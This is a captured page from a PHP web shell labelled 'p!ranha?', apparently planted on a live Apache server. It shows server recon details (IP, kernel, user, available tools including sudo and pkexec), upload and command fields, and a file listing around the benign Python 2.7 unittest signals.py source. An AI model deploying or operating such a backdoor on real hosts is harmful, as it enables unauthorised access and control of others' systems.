p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/unittest/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/unittest/signals.py
import signal
import weakref

from functools import wraps

__unittest = True


class _InterruptHandler(object):
    def __init__(self, default_handler):
        self.called = False
        self.original_handler = default_handler
        if isinstance(default_handler, int):
            if default_handler == signal.SIG_DFL:
                # Pretend it's signal.default_int_handler instead.
                default_handler = signal.default_int_handler
            elif default_handler == signal.SIG_IGN:
                # Not quite the same thing as SIG_IGN, but the closest we
                # can make it: do nothing.
                def default_handler(unused_signum, unused_frame):
                    pass
            else:
                raise TypeError("expected SIGINT signal handler to be "
                                "signal.SIG_IGN, signal.SIG_DFL, or a "
                                "callable object")
        self.default_handler = default_handler

    def __call__(self, signum, frame):
        installed_handler = signal.getsignal(signal.SIGINT)
        if installed_handler is not self:
            # if we aren't the installed handler, then delegate immediately
            # to the default handler
            self.default_handler(signum, frame)

        if self.called:
            self.default_handler(signum, frame)
        self.called = True
        for result in _results.keys():
            result.stop()

_results = weakref.WeakKeyDictionary()
def registerResult(result):
    _results[result] = 1

def removeResult(result):
    return bool(_results.pop(result, None))

_interrupt_handler = None
def installHandler():
    global _interrupt_handler
    if _interrupt_handler is None:
        default_handler = signal.getsignal(signal.SIGINT)
        _interrupt_handler = _InterruptHandler(default_handler)
        signal.signal(signal.SIGINT, _interrupt_handler)


def removeHandler(method=None):
    if method is not None:
        @wraps(method)
        def inner(*args, **kwargs):
            initial = signal.getsignal(signal.SIGINT)
            removeHandler()
            try:
                return method(*args, **kwargs)
            finally:
                signal.signal(signal.SIGINT, initial)
        return inner

    global _interrupt_handler
    if _interrupt_handler is not None:
        signal.signal(signal.SIGINT, _interrupt_handler.original_handler)
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
test
--
December 20 2023 04:52:59
0 / 0
0755
__init__.py
2.718 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.pyc
2.967 KB
November 14 2023 16:14:43
0 / 0
0644
__init__.pyo
2.967 KB
November 14 2023 16:14:43
0 / 0
0644
__main__.py
0.232 KB
November 14 2023 16:14:19
0 / 0
0644
__main__.pyc
0.477 KB
November 14 2023 16:14:43
0 / 0
0644
__main__.pyo
0.477 KB
November 14 2023 16:14:43
0 / 0
0644
case.py
42.888 KB
November 14 2023 16:14:19
0 / 0
0644
case.pyc
40.656 KB
November 14 2023 16:14:43
0 / 0
0644
case.pyo
40.656 KB
November 14 2023 16:14:43
0 / 0
0644
loader.py
13.105 KB
November 14 2023 16:14:19
0 / 0
0644
loader.pyc
11.064 KB
November 14 2023 16:14:43
0 / 0
0644
loader.pyo
10.928 KB
November 14 2023 16:14:45
0 / 0
0644
main.py
8.87 KB
November 14 2023 16:14:19
0 / 0
0644
main.pyc
7.823 KB
November 14 2023 16:14:43
0 / 0
0644
main.pyo
7.823 KB
November 14 2023 16:14:43
0 / 0
0644
result.py
6.159 KB
November 14 2023 16:14:19
0 / 0
0644
result.pyc
7.738 KB
November 14 2023 16:14:43
0 / 0
0644
result.pyo
7.738 KB
November 14 2023 16:14:43
0 / 0
0644
runner.py
6.38 KB
November 14 2023 16:14:19
0 / 0
0644
runner.pyc
7.47 KB
November 14 2023 16:14:43
0 / 0
0644
runner.pyo
7.47 KB
November 14 2023 16:14:43
0 / 0
0644
signals.py
2.347 KB
November 14 2023 16:14:19
0 / 0
0644
signals.pyc
2.701 KB
November 14 2023 16:14:43
0 / 0
0644
signals.pyo
2.701 KB
November 14 2023 16:14:43
0 / 0
0644
suite.py
9.579 KB
November 14 2023 16:14:19
0 / 0
0644
suite.pyc
10.291 KB
November 14 2023 16:14:43
0 / 0
0644
suite.pyo
10.291 KB
November 14 2023 16:14:43
0 / 0
0644
util.py
4.498 KB
November 14 2023 16:14:19
0 / 0
0644
util.pyc
4.412 KB
November 14 2023 16:14:43
0 / 0
0644
util.pyo
4.412 KB
November 14 2023 16:14:43
0 / 0
0644